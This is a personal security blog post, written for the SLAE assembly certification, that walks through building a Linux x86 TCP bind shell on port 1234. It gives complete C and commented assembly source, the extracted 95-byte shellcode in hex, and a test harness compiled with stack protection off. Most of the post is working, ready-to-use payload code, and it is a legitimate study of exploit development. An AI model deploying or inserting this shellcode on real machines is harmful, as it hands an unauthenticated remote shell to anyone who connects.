Oleg's Web Log

Stochastic records on Information Security and IT in general

Building TCP bind shell shellcode (SLAE, Assignment #1)

Category: Exploit development

Written on

If you haven't written a bind TCP shell in Assembly before, then it is better to start with a higher-level language working prototype and then translate it to Assembly. The obvious choice of the higher level language for Linux is C. Here is a working TCP bind shell code in C. I tried to remove as much unneeded code as possible. Generally it may be a bad idea, but when writing shellcode, this is exactly what you want - a working thing with as few parts as possible.

#include <stdio.h>
#include <strings.h>
#include <sys/socket.h>
#include <netinet/in.h>

#define PORT 1234

int main(void) {

    // Create a listening socket
    int listen_sock = socket(AF_INET, SOCK_STREAM, 0);

    // Populate server side connection information    
    struct sockaddr_in server_addr;
    server_addr.sin_family = AF_INET;           // IPv4
    server_addr.sin_addr.s_addr = INADDR_ANY;   // All interfaces (0.0.0.0)
    server_addr.sin_port = htons(PORT);         // Port #

    // Bind socket to local interface(s) 
    bind(listen_sock, (struct sockaddr *)&server_addr, sizeof(server_addr));

    // Start listening
    listen(listen_sock, 0);

    // Accept incoming connection and create socket for it 
    int conn_sock = accept(listen_sock, NULL, NULL);

    // Forward process's stdin, stdout and stderr to the incoming connection
    dup2(conn_sock, 0);
    dup2(conn_sock, 1);
    dup2(conn_sock, 2);

    // Run shell
    execve("/bin/sh", NULL, NULL);
}

After we compile and start it, we should make sure that the program is working:

# Build and start the program
gcc bindshell.c -o bindshell && ./bindshell

# Connect from another console and execute some commands making sure you got the shell
nc localhost 1234
id
uid=0(root) gid=0(root) groups=0(root)
^C

Now, to get a compact shellcode we first need to translate the above C code into Assembly.

One nitty gritty detail you must be aware of is that four socket-related functions that were used in the C program actually use the same kernel entry point - socketcall. The manual page for this syscall (man 2 socketcall) says that only standard library implementers and kernel hackers need to know about it. It also says that this implementation is x86 platform specific and that on x86-64 and ARM there is no socketcall system call; instead socket, accept, bind, and all other socket functions are implemented as separate system calls.

Here is the Assembly version of the TCP bind shell with my extensive comments:

section .text
    global _start

_start:
    ; Reference: socketcall(int call, unsigned long *args)

    ; Create listening socket: EAX = socket(AF_INET, SOCK_STREAM, 0)
    ; EAX will contain listening socket file descriptor
    xor ebx, ebx  ; zero out ebx
    mul ebx       ; implicitly zero out eax and edx 
    mov al, 0x66  ; socketcall syscall #
    mov bl, 0x1   ; socket function #
    push edx      ; 3rd arg to socket function
    push byte 0x1 ; SOCK_STREEAM - 2nd arg to socket function
    push byte 0x2 ; 1st arg: socket domain = 2 (AF_INET)
    mov ecx, esp  ; Copy args address to ECX 
    int 0x80

    ; Bind previously created socket to 0.0.0.0 interface and 1234 port   
    ; EAX = bind(listen_sock, &sockaddr_in, sizeof(sockaddr_in))
    ; EAX will be 0 on success
    xchg edi, eax  ; save listening socket descriptor to edi
    xor eax, eax   ; zero out eax
    mov al, 0x66   ; socketcall syscall #
    pop ebx        ; bind func # (reusing 1st arg of the prev func)
    pop esi        ; trashing 4 bytes from the stack 
    push edx       ; sockaddr_in.sin_addr.s_addr (INADDR_ANY=0)
    push word port ; sockaddr_in.sin_port = 1234
    push word bx   ; sin_family = 2 (AF_INET)
    push byte 16   ; addr_len = 16 (structure size) (last 4 bytes are 0s left 
                   ; from prev func args)
    push ecx       ; Copy args address to ECX 
    push edi       ; Listening socket descriptor
                   ; Stack is now 0x0000000 [0x00000000, 0xd204, 0x0002], 
                   ; 0x00000010, &sockaddr_in, socketfd
    mov ecx, esp   ; Copy listening socket descriptor address to ECX 
    int 0x80               

    ; Start listening: EAX = listen (sockfd, backlog)
    xor edi, edi
    pop edx       ; Save socketfd
    push edi      ; 2nd arg to listen func (0)
    push edx      ; 1st arg to listen func (listening socket)
    mov bl, 0x4   ; listen function #
    mov ecx, esp  ; Address to args structure on stack
    mov al, 0x66  ; socketcall sycall #
    int 0x80   

    ; Accept incoming connections: accept(sockfd, addr, arrlen)
    ; On success EAX will contain incoming socket descriptor
    push edi      ; 3rd arg to accept func (0)
    push edi      ; 2nd arg to accept func (0)
    push edx      ; 1st arg to accept func (listening socket)
    mov ecx, esp  ; Copy address to args to ECX
    mov al, 0x66  ; socketcall syscall #
    mov bl, 0x5   ; accept function #
    int 0x80   


    ; Redirect process's stdin/out/err to the incoming socket   
    xchg eax, ebx  ; 1st syscall arg in EBX = incoming socket fd
    pop ecx        ; 2nd syscall arg in ECX = listening socket fd 
.next_fd:          ; Redirect all process's fds ot incoming socket fd
    mov al, 0x3f   ; dup2 syscall #
    int 0x80        
    dec ecx         
    jns .next_fd   ; loop until ECX == -1 

    ; Start the shell 
    push edi               ; push some delimiting nulls
    push dword 0x68732f2f  ; push /bin//sh string 
    push dword 0x6e69622f  
    mov ebx, esp           ; 1st syscall arg: program address
    push edi               ; push delimiting nulls 
    mov edx, esp           ; 3rd syscall arg: env vars  
    push ebx               ; Push program address string creating args array
    mov ecx, esp           ; 2nd syscall arg: args
    mov al, 0xb            ; execve syscall #
    int 0x80

    port: equ 0xD204 ; = 1234 in little endian notation

After building a binary from the above source code we extract the shellcode and test it in the C program:

nasm -f elf bindshell.asm && ld -o bindshell bindshell.o
scdump bindshell

Output (formatted to fit on the screen):

Length:  95
Payload: "\x31\xdb\xf7\xe3\xb0\x66\xb3\x01\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80"
"\x97\x31\xc0\xb0\x66\x5b\x5e\x52\x66\x68\x04\xd2\x66\x53\x6a\x10\x51\x57\x89"
"\xe1\xcd\x80\x31\xff\x5a\x57\x52\xb3\x04\x89\xe1\xb0\x66\xcd\x80\x57\x57\x52"
"\x89\xe1\xb0\x66\xb3\x05\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x57\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x57\x89\xe2\x53\x89\xe1\xb0\x0b"
"\xcd\x80"

That's it. We have a working shellcode that initiates listening on predetermined port and serves a /bin/sh shell to anyone connecting to that port. To make sure the shellcode works as intended, let's run it from inside of our C shellcode-framing program:

#include <stdio.h>
#include <string.h>

unsigned char shellcode[] = 
"\x31\xdb\xf7\xe3\xb0\x66\xb3\x01\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x97\x31"
"\xc0\xb0\x66\x5b\x5e\x52\x66\x68\x04\xd2\x66\x53\x6a\x10\x51\x57\x89\xe1\xcd"
"\x80\x31\xff\x5a\x57\x52\xb3\x04\x89\xe1\xb0\x66\xcd\x80\x57\x57\x52\x89\xe1"
"\xb0\x66\xb3\x05\xcd\x80\x93\x59\xb0\x3f\xcd\x80\x49\x79\xf9\x57\x68\x2f\x2f"
"\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x57\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";


int main(void)
{
    printf("Shellcode length: %d\n", strlen(shellcode));
    (*(void(*)(void))shellcode)();
    return 0;
}

After the build and successful test we can perform the winner dance =).

# In one console window
gcc -fno-stack-protector -z execstack -o scframe scframe.c
./scframe

# In the second console window
nc localhost 1234

Bind TCP shell shellcode successful test

Bind TCP shell shellcode successful test


This blog post was created to fulfill the requirements of the SecurityTube Linux Assembly Expert certification. Student id: SLAE-685.

The source files created while completing the assignment can be found in my GitHub repository.

comments powered by Disqus